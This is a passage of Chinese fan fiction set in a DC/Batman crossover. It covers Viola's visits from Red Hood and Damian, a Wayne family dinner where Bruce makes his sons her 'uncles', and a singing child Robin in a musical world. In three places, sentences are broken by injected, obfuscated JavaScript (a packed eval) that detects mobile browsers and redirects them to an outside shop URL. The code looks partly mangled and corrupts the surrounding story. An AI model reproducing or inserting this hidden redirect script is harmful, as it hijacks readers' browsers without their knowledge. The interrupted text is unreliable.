红头罩发出了一声绝对可以被称作嘲笑的笑声,扔开头盔,模仿她刚才的语气:“哇,‘我不想知道你是谁’。放心,维奥拉·缪特,我没那么蠢,你对我来说也没那么值得信任。” 维奥拉深吸一口气,内心默念“这人算是我房东是我房东是我房东”,然后微笑,若无其事道:“哈哈,当然了,我就知道红头罩先生您一定有自己的想法。” 比如坚持在头盔下面戴面具这种一百年内哥谭不会出现第二个的巧思!!! 红头罩耸耸肩,坐在沙发上,小幅度打量了客厅格局,问:“你的新家人帮你布置的?” 他说出“新家人”这个词时的语气可不怎么友善。 维奥拉点头。 红头罩颇觉无聊地“嗯”了一声。他的视线相当克制,几乎只在客厅匆匆扫了一眼,保持着和陌生人相处该有的礼节上的关注,甚至可以说,他基本上不关心自己前安全屋的新装饰。 维奥拉给他倒了杯冰水,坐下来:“刚才我想说的是,虽然有些……戏剧化,但还是谢谢你给我提供了住所。” 尽管她的后脑勺经受了点磋磨,但却因此获得了一间公寓,这其中的起伏多少让维奥拉有些不安,总觉得自己讹了红头罩。 红头罩倒无所谓:“客观上说本来就是我的过错,所以你得到我的补偿,这很公平。别想太多,安心住下吧,我不会突然来这儿赶走你或者一枪崩掉你的。” 啊那没事了。 维奥拉松了口气。 杰森见她真的肉眼可见放松下来,不禁挑眉:“喂,你刚才不会真的以为我要摘了面具把你灭口吧?” 维奥拉:“……哈。” 她拒绝再多透露一个字。 “对了,也谢谢你的盆栽。”维奥拉的目光触及窗边绿植,转移了话题,“虽然不知道为什么送给我,但还是谢谢。” “这盆草吗?”杰森抬起眼,懒洋洋道,“只是我想着应该来探望一下病人,手边又没什么礼物,所以顺手拿了盆我阳台上的绿植。” 维奥拉:“……” 真是坦诚啊,红头罩。 要是你的面具能有你说话这么坦诚就好了。 红头罩问:“你的脑袋还好吗?” 维奥拉这才想起自己还是个被猛敲后脑勺的倒霉蛋,下意识摸了摸伤处,说:“我想应该没什么问题了?” 经历了这么多事后,维奥拉几乎忘记自己脑袋的遭遇了。 红头罩点点头:“那就好。如果有任何不适,请及时联系我,前提是我还没死——毕竟哥谭生存率也没多乐观。” 他从侧兜里掏出一本便签纸,在上面凌乱写上电话号码,撕下来递给她。 维奥拉接过去,不禁感叹,哥谭真是个民风淳朴的地方。 看看!哥谭东区地下帮派的头头,给人联系方式居然还是用最淳朴的手写便签,多么回归传统啊,这就是黄金年代的慢节奏吗! 然而紧接着,红头罩又掏出手机:“哦,差点忘了,我还有Instagram、X、TikTok、Whatsapp、Telegram和谷歌邮箱,你想加一个?” 维奥拉:“???” 这又是在干嘛! 红头罩难道还要经营自己的反英雄官方账号吗!!! 三分钟后,维奥拉在红头罩的注视下僵硬地关注了他的官方推特账号,看着上面标注的身份认证是“枪.击手、帮派成员、暴力团伙和哥谭东区领袖”,深吸一口气,闭了闭眼。 好好好,还是你们哥谭人会生活(竖大拇指)。 “对了,还有我的TikTok,你不关注吗?”红头罩把手机揣回兜里,问。 “不了谢谢!” 红头罩状似遗憾道:“真是可惜。我偶尔会在上面发布东区哪些地方在前一天是安全区,而第二天也许就有危险……” “我关注。”维奥拉丝滑解锁手机搜索RedHood,为自己未来安全的哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900222|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭生活添砖加瓦。 十分钟后,送走红头罩,维奥拉倒进沙发不愿再动弹。 这能告诉她为什么这个杰森·陶德网瘾这么重啊! 红头罩老大不应该多多关注自己地盘的现实生活吗,怎么一人经营好几个社交网络账号? 维奥拉长长地叹了口气,伸手去够茶几上的杯子。 然后,门铃再次响起。 维奥拉:“……?” 她家现在是什么哥谭热门景点打卡地吗? 红头罩最初给门口安装的是自定义门铃,而维奥拉在搬进来后,某个瞬间灵光一闪,将铃声换成了自己哼的一段《汉密尔顿》里歌曲MyShot的歌词。 为了避免跑调,她贴心地选择了一段没有旋律和音调的部分。她只是很忠实地模仿原唱,全程持续十秒,声嘶力竭地呐喊“Riseup!Riseup!Riseup!(起来!起来!起来!)”用来催促她自己快点开门。 而现在,门口又在发出“riseup”了,维奥拉认命地站起来去开门。 门外站着一名穿简单灰色卫衣、背小书包的男孩。 “达米安?”来者让她稍微有些惊讶,“有什么事吗?” 达米安有些警惕地寻找些什么:“你家刚才有怪叫声。” 维奥拉:“……那是我的门铃。” “那你的品味让人担忧。”达米安走进屋,视察般逛了一整圈,“而潘尼沃斯的品味显然比你好得多。” 维奥拉跟在他后面,问:“所以你是来参观我的公寓的?” 达米安转过身,抬头看向她,下巴微微昂起:“我是来提醒你,别忘了父亲和你的约定。两天后,韦恩庄园,晚上七点,家庭聚餐。” 说着,他放下小书包,从里面掏出一张香槟色邀请函,递给她。 维奥拉接过,看着邀请函上龙飞凤舞的“致:缪特”,问:“这是你写的?” 除了他,韦恩庄园不会有第二个人在信函封面上画一个怒气冲冲的q版头像了。 而且这头像还画的是他自己。 达米安有些骄傲:“当然。考虑到这是你第一次参加我家的聚会,我专门为你制作了一份邀请函,不用谢。” 维奥拉捏着信函哭笑不得。 达米安看到窗边的虎尾兰,眯了眯眼睛:“我好像在哪里见过它。” 哦,大概是红头罩某个安全屋吧,维奥拉心不在焉地想。 达米安靠在墙边:“你为什么会认识红头罩?” 维奥拉歪头:“你刚才遇见他了?” 达米安哼了一声:“没有。但是这间公寓是他的,白痴都能查出来。” 维奥拉·不是白痴·不会查·缪特:“……哦。” “因为我现在算是他将来可能的潜在原告?”维奥拉老实交代道,“他误伤了我,所以借给我这间公寓,也承诺了一些保护。” 达米安的目光回到维奥拉的额头上,那里现在没有创口贴,只留下细微的结痂伤口。 半晌,他才说话:“我得承认,你在哥谭混得挺差的,缪特。” ……? “而作为你的叔叔,”达米安自然而然地说出这个称谓,似乎非常迁就,“我建议你住回韦恩庄园,缪特。” 维奥拉大脑空白了一秒。 维奥拉怀疑自己听错了。 维奥拉缓慢睁大眼睛。 等一下,什么叔叔? 达米安他是怎么自然地说出“uncle”这个词的啊!!! 14. 叔叔?叔叔! Summary:已知我们的布鲁斯·表爷爷·韦恩有好几个孩子;那么,我们的维奥拉·表孙女·缪特就顺理成章拥有好几个叔叔,对吧?啊,等等,维奥拉,别晕过去!醒醒! —— 叔叔! 维奥拉僵在原地,还在头脑风暴“达米安叔叔”这个词语的含金量。 达米安有些不满她的沉默:“嘿,缪特,你总是在发呆。” 维奥拉回过神,艰难道:“达米安,我觉得我们应该就称呼问题上进行探讨……” 达米安不解:“有什么需要讨论的吗?” 维奥拉哽了一下:“虽然名义上你是我的……长辈,但是年龄上我们……” 说了一半,她看着眼前十岁出头的男孩,有些头疼:“不过谢谢你的关心,但我应该会继续住在这里。” 达米安似乎预料到她会再次拒绝:“我只是提供了一个方案,随便你。” “以及,初次拜访需要送对方礼物,我当然知道。”他再次低头,从书包里拿出一个小盒子,“所以祝贺乔迁,缪特。” 维奥拉有些懵然地收下道谢。这份礼物用棕绿色礼物纸包好,四四方方很周正,维奥拉几乎能想到赠送者是如何板着脸挑剔地包装好它的。 达米安抬起手腕看了看:“我的任务完成了。两天后见。” 说完,拉上书包链准备离开。 维奥拉见他背起小书包,正经得像要去参加什么童子军野餐会,好奇道:“你要去做什么?” 叮零零,哥谭快速问答环节。 提问:十岁小孩一般都忙些什么? 回答:拜托,维奥拉啊维奥拉,达米安·韦恩可不是一般小孩。身为超级基因小孩AKA刺客联盟继承人AKA蝙蝠侠之子AKA现役罗宾,他一定有更远大、更崇高、更神秘的日常事务要忙,对吧,天才儿童达米安? 达米安并不介意她的突然询问,自然地回答:“游乐场,和朋友。” 维奥拉了然地点头。 她就说嘛,达米安怎么可能和别的小孩一样去什么游乐场呢他肯定有—— 等一下,游乐场? 和朋友??? 维奥拉:“什么?” 达米安怪异地看了她一眼:“为什么用这种眼神看我?” 维奥拉猛摇头:“没有,我以为你不会喜欢游乐场这种儿童乐园……” 达米安看上去颇有些自矜:“唔,我当然不喜欢。但是我的朋友喜欢,我勉强陪同。” 维奥拉明白了。 他口中的朋友,大概就是乔纳森·肯特了。 小乔,超人的孩子,达米安的同龄人,和达米安组成了发光发热的可爱小孩组合“超凡双子”。 “好的,祝你玩得开心。”维奥拉为他开门,说,“也祝你的朋友玩得开心。两天后,韦恩庄园,晚上七点,我不会忘记的。” 达米安点头,离开了公寓。 之后的两天过得平淡无奇。 毕竟生活不全是音乐剧,而音乐剧也不全是跌宕起伏。第二个音乐剧世界的白天和夜晚,维奥拉一直待在公寓,重温了一遍《音乐之声》,跟着女主角一起唱那首世界闻名的音乐教学曲DoReMi。 好消息是她有进步了,起码她在这首幼儿园难度的歌里找到了调。 坏消息是也许因为这里是音乐剧世界,她只能和电影中角色一样边做动作边唱,否则就会跑调。 维奥拉:“……” 一天下来,维奥拉·音乐初阶学习者·一小时内消耗500大卡伪音乐剧演员表示,唱音乐剧还是太费体力了。 按照正常作息,维奥拉安然度过音乐剧世界和现实世界交织的日子,终于迎来了达米安一再强调不准忘记的家族聚会。 然而有人提前来见她。 公寓门口嚎叫着“riseup”的铃声再次响起时,维奥拉正在穿外套。 她刚开门就听见一声愉快的“晚上好!”,随后,面前出现了一位穿着制服的年轻警官。 维奥拉:“?” GCPD上门干什么? 警官见她愣住,笑出声来。他退后一步,维奥拉的目光才转移到他的脸上。 黑头发,蓝眼睛,英俊漂亮。 这个发色和眸色在哥谭标准得像韦恩家养子出厂配置。根据这位英俊警官的年龄、出现的时间以及这身标着BCPD(布鲁德海文警局)的制服,维奥拉判断出他是迪克·格雷森。 这是她第一次见到面具下的夜翼,但和初到哥谭时那晚见到的他似乎区别并不大。他的笑容并没有变,只是此刻露出了完整的五官,看上去更赏心悦目。 他的眼睛弯弯,眼尾带了点笑纹,但这点小小的皱纹丝毫不影响他全身散发着的吸引人的气质,反而,这让他看上去更亲切。 迪克似乎刚从布鲁德海文回来,衣服都没来得及换下。他伸出手和她短暂握了握:“维奥拉·缪特,我能叫你维奥拉吗?我来接你回家吃晚餐。噢,对了,忘记介绍,我是理查德·格雷森,布鲁斯的养子,最年长的那一个。你可以叫我迪克。” 说完,他从背后变出一捧花,绅士地举到她面前,笑着说:“送给你。第一次见面,没来得及准备别的礼物。” 维奥拉有些拘谨地回握,接过花:“谢谢。” 迪克似乎看出了她的不自在,微微侧身:“那么,我们出发?” 维奥拉坐上了迪克的车。 迪克健谈,也很照顾她的情绪。一路上,他轻松地说起哥谭的趣事,聊了聊他的工作,又讲了点韦恩庄园的景致,还贴心地询问了维奥拉在哥谭是否适应,公寓安不安全,有没有遇到什么有意思的事。 他好像天生就拥有让人快乐的能力,语调轻快又柔软,尾音上扬,时不时认真地看着她的眼睛听她讲话,很快,维奥拉放松下来,顺着迪克的话题聊了下去。 没有人会不喜欢迪克·格雷森,对吧。 晚上七点,韦恩庄园。 他们准时抵达。迪克带着她穿过走廊,向阿尔弗雷德问好,然后来到西侧的餐厅。维奥拉跟在他后面,被他带到座位边。 迪克很自然地站在她身边,向她介绍道: “我听说你前几天已经见过达米安了?那我想你大概还没有见过杰森和提姆吧,他们也是布鲁斯的养子。没记错的话,你今年十八岁?刚好,杰森大你几岁,提姆比你小一点,也许你们三个会更有共同话题。” 杰森和提姆啊,维奥拉点点头,心想,她当然见过了,她的房东兼东区玻璃瓶致人昏迷案被告红头罩,以及热衷于经营温暖家庭的诉讼律师红罗宾嘛。 迪克说完,朝一旁靠墙站着双臂环抱的青年侧了侧头:“杰森,打个招呼?” 维奥拉看向对方。 杰森·陶德靠在墙边,微微抬头,似乎并没有什么兴趣:“晚上好,维奥拉。” 这次他什么面具都没戴,穿了件普普通通的夹克,正在摆弄手机。 “你好。”维奥拉谨慎回答,得到杰森一个“Hmmm”的鼻音回应。 “提米呢?”迪克问。 “不知道,可能被恶魔崽子杀了吧。”杰森说,嗤笑了一声。 维奥拉紧紧闭上嘴。 小鸟们之间还是如此友爱呢。 迪克并不在意,对维奥拉解释:“杰森喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906100|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开玩笑,习惯就好。” 刚说完,达米安恼怒的声音就穿破房间:“陶德你等着!你死了!” 维奥拉:“?” 她看向迪克。 而迪克显然已见怪不怪,微笑注视着达米安从窗户里跳进来飞身进屋试图和杰森自由搏击。提姆则慢吞吞地从走廊走过来,对眼前的决斗现场毫不在意。 迪克甚至在达米安飞驰而过时稳稳扶住他附近的餐盘,心平气和地对他们打招呼:“提米,小D,晚上好,不来见见维奥拉吗?” 维奥拉站在原地重塑韦恩一家的家庭关系中:“……你们好。” 提姆点点头:“你好,维奥拉。” 达米安则从与杰森的搏斗中分出一秒心神:“晚!上!好!” ……好用力的问好。 “孩子们,我想现在是晚餐时间。”一阵略显匆忙的脚步声后,布鲁斯终于来到餐厅,他看着乱成一团的年轻人,一声叹息,“这是家庭聚会,还记得吗?” 显然,整个房间里除了阿尔弗雷德和维奥拉,没有人听见这句话。 维奥拉有些同情地看了眼布鲁斯。 此时此刻,我们伟大的黑暗骑士正在面对: 大儿子笑眯眯地守护餐桌中。 二儿子一边挑衅一边抵挡攻击中。 三儿子一脸平静询问阿尔弗雷德今天餐后甜点有没有意式奶冻,如果没有的话可不可以吃提拉米苏中。 以及一名正与二儿子火热切磋武力值的小儿子。 维奥拉:哇。 布鲁斯:“……” 维奥拉开始认真想象,如果这是在音乐剧世界,眼前四只小鸟也许会突然合唱L’assassymphonie(《杀.人交响曲》),互相举起小刀在舞台上转圈圈。 维奥拉忍不住想笑,但狠狠憋了回去。她竭力保持面无表情,稍微后退一步,站在布鲁斯身后,试图用他的后背来挡住自己即将扬起的嘴角。 混乱只持续了短短一分钟,很快,一番吵闹后,四人就像遵循了什么奇妙的家庭法则,安静下来。 布鲁斯清了清嗓子:“我想今晚的主题应该是介绍我们的新家人,维奥拉。” 他回头,朝维奥拉招了招手。维奥拉挪了两步,站到他身侧。 布鲁斯的手臂轻搭在她的肩膀上,保持着亲和礼貌的距离:“维奥拉,我想你大概已经认识他们了?迪克、杰森、提姆和达米安,我的孩子们。” 维奥拉点点头。 一大家子小鸟现在都抬起头盯着她。 她听到布鲁斯轻笑,然后听见他一字一句地说: “维奥拉是我的晚辈。作为表祖父,我对她日后在韦恩庄园的生活负有全责。所以,男孩们,我希望以后你们也能多出一点家族长辈的责任感,意识到你们已经是叔叔了。至少看在上帝的份上,别在晚餐时斗殴,好吗?” 维奥拉短暂宕机。 餐桌上响起此起彼伏的思考的声音。 如果有人问,什么叫思考的声音? 那么欢迎来到韦恩家的家族聚会,现在每个人都在努力思考。 比如: “嗯?”很明显这是迪克发出的。 “哈。”而这是杰森在思考。 “哦?”提姆说。 “对。”不用怀疑,这是达米安。 维奥拉:“……” 什么晚辈表祖父啊,什么长辈叔叔啊,蝙蝠孙文学还没放过她? 布鲁斯·韦恩他一定是故意的,他嘴角的笑就没下去过! 喂喂喂,家里站一排叔叔是什么值得骄傲的事吗? 不准再uncle了! 15. 摇滚格雷森 Summary:为什么要用“摇滚”来形容理查德·格雷森?嘿,看看维奥拉的生前歌单:莫扎特能摇滚,浮士德能摇滚,连《红与黑》的于连都能摇滚,那我们的格雷森警官为什么不能摇滚?Oi,let''sROCK! —— 如何描述一顿充满家族关怀的聚餐? 那当然是以“作为表祖父我应当……”起始,以“你的叔叔们虽然有些吵闹,但他们很善良”为重点,再以“所以维奥拉我亲爱的孩子,请不要拘束,好好享受你的晚餐”为结尾,来组成一篇与《我的叔叔于勒》并列的潸然泪下的抒情散文——《我的叔叔罗宾》,以及《我的爷爷蝙蝠侠》。 维奥拉在布鲁斯的关怀下简直抬不起头。 谁说布鲁斯·韦恩沉默寡言? 因为他是黑暗他是百特曼,所以他最会复仇(?),他甚至熟练运用布鲁西·单纯阔佬·韦恩的身份,摆出一副“因为我是个超级严肃的大人,所以我说的所有话都很权威”的表情,让她无法反驳。 他在报复她刚才的笑,绝对是。 两小时后,在阿尔弗雷德的亲切微笑下,这场除了维奥拉外所有人都相当愉快的家庭聚会迎来尾声。 维奥拉像刚刚结束一部90分钟全是唱跳戏的音乐剧那样蔫头耷脑,慢吞吞地跟着布鲁斯和男孩们穿过拱廊,来到最近的一间带壁炉的会客厅。 阿尔弗雷德端来茶点,全家人零零散散分开坐在各个角落,闲聊着些无关紧要的话题。达米安回自己的房间做些声称“比待在一群人里更有趣的事”,提姆在研究小餐盘里的水果挞,杰森百无聊赖地仰头望吊灯,迪克则在和布鲁斯讨论窗外灌木丛被达米安“修剪”出的新造型。 在壁炉噼啪作响的静谧下,所有人都呈现出懒洋洋的和谐。 维奥拉端起一杯热茶,抬头,发现透过蒸腾的茶汽,窗户上似乎有淡淡的雾。现在是初冬,室内暖和舒适,几乎让她昏昏欲睡。 似乎察觉到她的困意,布鲁斯低头询问她是否需要在庄园住宿一晚,房间早就为她收拾好。 维奥拉想到几小时后即将交替的音乐剧世界。虽然那个世界的布鲁斯已经认识了她,也不会因为她出现在韦恩庄园就把她扔出去(也许?),但她可不想再听一遍布鲁斯的焦虑独白,看他在走廊上噼里啪啦闪耀堪比白.磷.弹的灯光。 于是维奥拉打了个呵欠,摇摇头。 她该离开了,她困倦地想。 迪克的手机震动了一下。 他看了眼屏幕,接起电话。十秒钟内,维奥拉敏锐地察觉到他答复的音调从高扬的“嗨”转为沉闷的“嗯”,挂断后,他哀叹一声:“上帝啊,是BCPD,又是加班。” 布鲁斯笑了一声,收获了迪克不满的抗议:“嘿,韦恩老板,别嘲笑任何加班的人。” 迪克站起来穿上外套,问:“维奥拉,你现在要回家吗?我可以顺路送你回去。” 维奥拉赶紧点头。 于是,深夜十一点整,维奥拉坐在驶向公寓的汽车上,竭力抵抗困意。 ——在震天的摇滚乐下。 维奥拉:“……?” 摇滚……格雷森? 维奥拉开始走神。 她能不能期待音乐剧世界的迪克在某个时刻现场化身摇滚小子,表演一首和布鲁斯对峙的J''accusemonpère(《责问父辈》)? 或者是独唱一曲更浪漫的Tatoue-moi(《纹我》)? 嗯,如果他想唱Lagloireàmesgenoux(《荣耀向我俯首》)也不是不行。 越想越觉得好酷。 哥谭应该即刻打造《摇滚格雷森》音乐剧项目,然后聘请她作为该剧顾问。 迪克见她无数次欲言又止,忍不住笑起来:“你好像有话想说。” 维奥拉斟酌半天,开口:“你的音乐品味……很出乎意料。” 迪克把声音关小了点:“啊,这个吗?和我的品味没太多联系,我当然也喜欢其他类型的歌曲,只是摇滚乐能让我更有精神些,尤其是即将要面对可能通宵的突发加班。” 好辛苦的布鲁德海文警官。 维奥拉有些同情地点头,问他能不能给她也分享一份歌单。 万一她以后也能用上呢,对吧?要是蝙蝠侠再次大度地邀请她参加夜巡,那我们英勇无畏的睡衣侠大人也需要这样一份提神醒脑的歌单。 然后她会成为——摇滚睡衣侠! 很显然,维奥拉对歌单的认同激发了格雷森警官的热情,他颇为骄傲地再度放大声音,两人在震耳欲聋的硬核朋克中来到伯恩利区。 “好了,你到家了,维奥拉。”迪克停车,关掉音乐,朝她笑了笑,“我把歌单发给你了,希望你喜欢。晚安,祝你做个好梦。” 维奥拉下车,在车窗边和他告别:“晚安,迪克。祝你早点下班。” “这简直是最甜心的祝福了。”迪克说,“那么,下次再见?也许我有空会来拜访你,带上真正的礼物。” 他似乎一直这样体贴又周道,维奥拉想。 迪克在被布鲁斯收养时也不过是名十岁出头的小男孩,然后从一只小小的罗宾鸟,成长为大大的罗宾鸟,再成为哥哥,成为夜翼。 那罗宾时期的迪克是不是也是摇滚乐重度爱好者?比如听着重金属夜巡什么的。 维奥拉就这样一路胡思乱想着走上楼梯。回到家中,她打开迪克分享的歌单,戴上耳机,调高音量,听着足够让二十个睡美人集体惊醒的ACDC,摇头晃脑地刷牙。 屏幕亮了一下又熄灭,最上方的11:59跳动为0:00,音乐剧世界再次到来。 但维奥拉还在细细品味迪克的摇滚歌单。 砰! 沉浸在HighwayToHell强劲吉他声中的维奥拉毫无察觉,闭着眼睛。 砰!砰! 维奥拉摘下耳机,疑惑地朝客厅看去。 奇怪。似乎有什么动静,但此刻又安静下来。对哥谭夜间生活有清晰认知的维奥拉此刻清醒不少,她吐掉嘴里的泡沫,从墙角拿起备用棒球棍,警惕地走出浴室。 走廊,安全。 客厅,安全。 门没有被撬开的痕迹。 窗户也锁得好好的。 维奥拉气势汹汹地举着临时武器在每个房间巡视了一圈,发现并没有什么可疑的踪迹后,松了口气,放下棒球棍。 然后又是一声砰,还有咯咯的笑声。 维奥拉:“?” 这公寓闹鬼了? 安娜贝尔还是小丑回魂?她这棒球棍能打得过吗? 幸运的是,窗外蝙蝠侠的声音及时出现,挽救了维奥拉对公寓安全性的绝望设想。 “罗宾!神奇小子!下来!”蝙蝠侠的声音带着警告,“出发前我们已经谈过,你不能在蝙蝠车上后空翻!” 维奥拉把棒球棍放在墙边,隔着新窗户饶有兴致地观看神奇小子表演杂耍中。 神奇小子。 哦,是罗宾呀。 等等,罗宾? 这个时间线上蝙蝠侠已经有罗宾了吗??? 而且,罗宾,在蝙蝠车上,后空翻? 维奥拉睁大眼睛。 她打开手机。零点十八分。 好吧,原来是音乐剧世界,那不奇怪了。 即使现在是蝙蝠侠在后空翻也没什么稀奇的,她完全理解。 维奥拉打开窗户,探出脑袋:“蝙蝠侠?” 她的视线很快锁定在不远处。一辆漆黑的蝙蝠车停在街沿,而车顶,一抹鲜艳的红绿色正在来回翻滚,像个不知疲倦的小弹簧。 听到维奥拉的声音,小弹簧停下兴致勃勃的热身运动,抬起头,黄色小披风却因重力作用落在他脑袋上,挡住了他整个视线。 维奥拉没忍住自己的笑,而罗宾也在愣了一秒哈哈笑起来。他晃着脑袋抖掉披风,站起来朝她挥手:“你好!” 蝙蝠侠及时制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916066|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止了罗宾下一步运动,把他从车顶拎下来,这才有空和她打招呼:“好久不见,看来你一切都好。” 又是很久不见了吗?维奥拉趴在窗户上,思索两个世界的时间流逝。 [下面是我出场!] 一阵轻快的手风琴声响起,两束强聚焦光分别从左右两边打向站在车顶的罗宾,男孩站得笔直开始唱歌,像棵骄傲的小树。 维奥拉眼睁睁地看着蝙蝠侠AKA黑暗骑士从披风里掏出一副夜光墨镜,就这样从容戴上,开始随着节奏慢慢摇晃身体,打着响指伴舞。 由于场面过于超出想象,维奥拉微微张开嘴注视着一切,甚至忘记了鼓掌。 维奥拉:“???” 蝙蝠侠怎么还会伴舞……么? 神奇小子在蝙蝠车顶蹦了一下,双脚分开,呈大字站立,然后目光对准维奥拉,他的观众,开口,用还没变声的童嗓唱道: [哥谭义警总得有点新花样] [从今以后神奇小子会登场] 音乐剧世界的义警制服总是更戏剧化,也更轻便。比如蝙蝠侠的灰色套装是薄薄的一层,而罗宾这套制服显然也非常适合舞台。 他穿着绿鳞小短裤,灵活地从蝙蝠车跳到旁边的垃圾箱上,又借力弹跳到蝙蝠侠身边,也从披风里掏出一副墨镜,把手里的抓钩枪绳索当作吉他空弹,作出摇滚模样,继续道: [谁是蝙蝠侠的助手好搭档?] [我!] [我和他一起在城市间游荡] [砰!坏蛋会被我逮住挂树上] [哗!快看我,我是罗宾,别遗忘!] 唱完,他和蝙蝠侠击掌,一个跟头再次弹上蝙蝠车。随着最后一声音乐,灯光重聚,照在他头顶。他戴上墨镜,两手叉腰,朝右侧侧脸。 动作定格,他嘴角还洋溢着骄傲的笑。 维奥拉被他娴熟的舞台风震撼,愣了两秒后才鼓起掌:“你很专业。” 罗宾高兴得跳下车,仰起头看她,嘴快道:“那当然,我可是……” 突然像想起什么似的,他紧紧捂住自己的嘴。只见他突然偏过头,柔光打在他侧脸上,他闭上眼唱着内心独白: [哎呀,迪克,你怎能差点把一切说破?] [笨蛋,罗宾,别忘了夜巡是秘密入侵!] [但是看哪,她鼓掌欢迎,好像我是一名大明星!] [不行不行,我还是不能暴露我的真实姓名!] 唱罢,灯光熄灭,迪克转回脸来,说:“没什么!” 听完了整首歌的维奥拉:“好……的?” 他的内心独白这么丰富? 蝙蝠侠早已取下墨镜,稳重地朝窗边维奥拉点点头:“罗宾是个有天赋的歌手。” 看着蹦蹦跳跳的男孩,维奥拉突然问:“你喜欢摇滚乐吗?” 罗宾停下动作,睁大眼睛:“摇滚?我没听过。” 维奥拉从窗边消失了几秒,折返回来后举起手机,播放了ACDC。 炫酷的音乐声过后,她朝他晃了晃屏幕,上面是一份歌单——迪克发给她的那份:“那,或许你想来听一些摇滚?” 音乐剧里最多的是什么? 是超出角色时代的道具、音乐和台词。 十年前也许并没有她现在这款手机,但没关系,这里是音乐剧世界,什么奇特的道具都可以出现! 毕竟在音乐剧里,亨利八世的六位王后都能开live演唱会,汉密尔顿能大唱rap,维奥拉拿出一个十年后才会出现的手机播放音乐也没什么大不了的,对吧? 罗宾的脚边瞬间亮起数十条柱状黄绿色迷你地排灯,他一跃而起,欢呼:“好!我要听摇滚!” 维奥拉趴在窗边朝他招手。 好的,她现在可能干了点怪事。 比如,从迪克(成年版)那里得到的歌单,现在又分享给了迪克(儿童版)。 但不管怎么说,从零开始的摇滚格雷森计划,立刻启动! 16. 小小罗宾鸟 Summary:你会成为了不起的义警! —— “或许你想听些摇滚?” “好!” 维奥拉看见罗宾雀跃地跳起来,下一秒,熟悉的抓钩枪声音再度出现。蝙蝠侠率先出动,熟练地翻身跨进她家。咻咻两声,罗宾也紧随其后,像只飞出水面的鱼,滑进窗内。 维奥拉:……好吧。 其实她的意思是走楼梯上来,需要她开门的那种。 “晚上好,维奥拉。”蝙蝠侠站定,热情洋溢地和她握手,又把正在好奇地四处打量的罗宾推到面前,“刚才忘了介绍,这是罗宾,我的助手,或者说搭档、朋友、同伴。” 罗宾“哇”了一声,两手握拳,双眼亮晶晶的:“也就是说,你就是维奥拉?” 维奥拉有些意外:“对。你认识我吗?” 蝙蝠侠按住罗宾又要跳起来的肩膀,解释道:“我和罗宾讲过一些夜巡故事,包括我们的‘危机!邪恶企鹅人武器走私案’。” 罗宾欢呼:“这名字太酷了!” 然后开始自娱自乐地原地转圈,哼歌,跳起不知名的舞步。 蝙蝠侠似乎习以为常,继续和维奥拉聊天:“别担心,他一直都是这样,没有太多安静下来的时刻。” 维奥拉看着眼前已经沉醉在自己的音乐艺术中并且完全忘记跳上来的目的是听摇滚的罗宾,摇摇头:“他和音乐剧很搭。” 罗宾听到她的话,噌一下凑到她面前,抬头:“维奥拉,维奥拉,你愿意和我们一起夜巡吗?” 也许是因为在蝙蝠车顶后空翻太多次,也许是因为刚才唱歌太投入,又或者是因为用抓钩枪飞上来时风力太大,此刻罗宾头发乱蓬蓬的,耳边的卷卷黑发炸开,倒有点像两个小猫耳朵。他张开双臂,眼里满是期待。 啊,维奥拉觉得自己即将化身那种对着猫猫狗狗小动物就心里软软、声音嗲嗲的成年爱动物人士:“好呀。” 迪克现在看上去大概十岁出头,还是个活泼的小朋友。他就这样眼巴巴地盯着她,让她说不出一句拒绝的话。 ——当然她也没想过拒绝夜巡。 毕竟这可是音乐剧世界,这可是哥谭,这可是和蝙蝠侠与罗宾一起的夜巡诶。 蒙面义警维奥拉女士,再次出动! 蝙蝠侠站在罗宾身后,对她笑了笑:“所以,维奥拉——哦,这次我们可以称呼你什么呢?” 维奥拉想了想,最终还是做出选择:“还是叫我睡衣侠吧,我习惯了这个代号。” 即使睡衣侠听起来古怪又荒谬,但维奥拉坚信,她也一定可以朝蝙蝠侠出道初期的方向努力,让哥谭人认可她的称号的! 起码GCPD就很认可嘛。 “万岁!睡衣侠!”罗宾像被点燃了什么热情,双臂高举,“这简直超酷、超拉风、超好听!” 他的热情感染了维奥拉,让她也觉得斗志昂扬,她握紧拳头,道:“谢谢!” 在音乐剧世界待了一段时间后,维奥拉觉得自己也耳濡目染变得像音乐剧原住民,随时随地想高歌一曲表达自己的喜悦之情。 比如现在,听到罗宾毫无保留的赞美,她觉得自己此刻充满力量,已经化身音乐剧Epic里的奥德修斯,而罗宾则是她的挚友波利特斯,正在欢欢喜喜地告诉她“生活很奇妙的,请张开双臂迎接世界吧”。 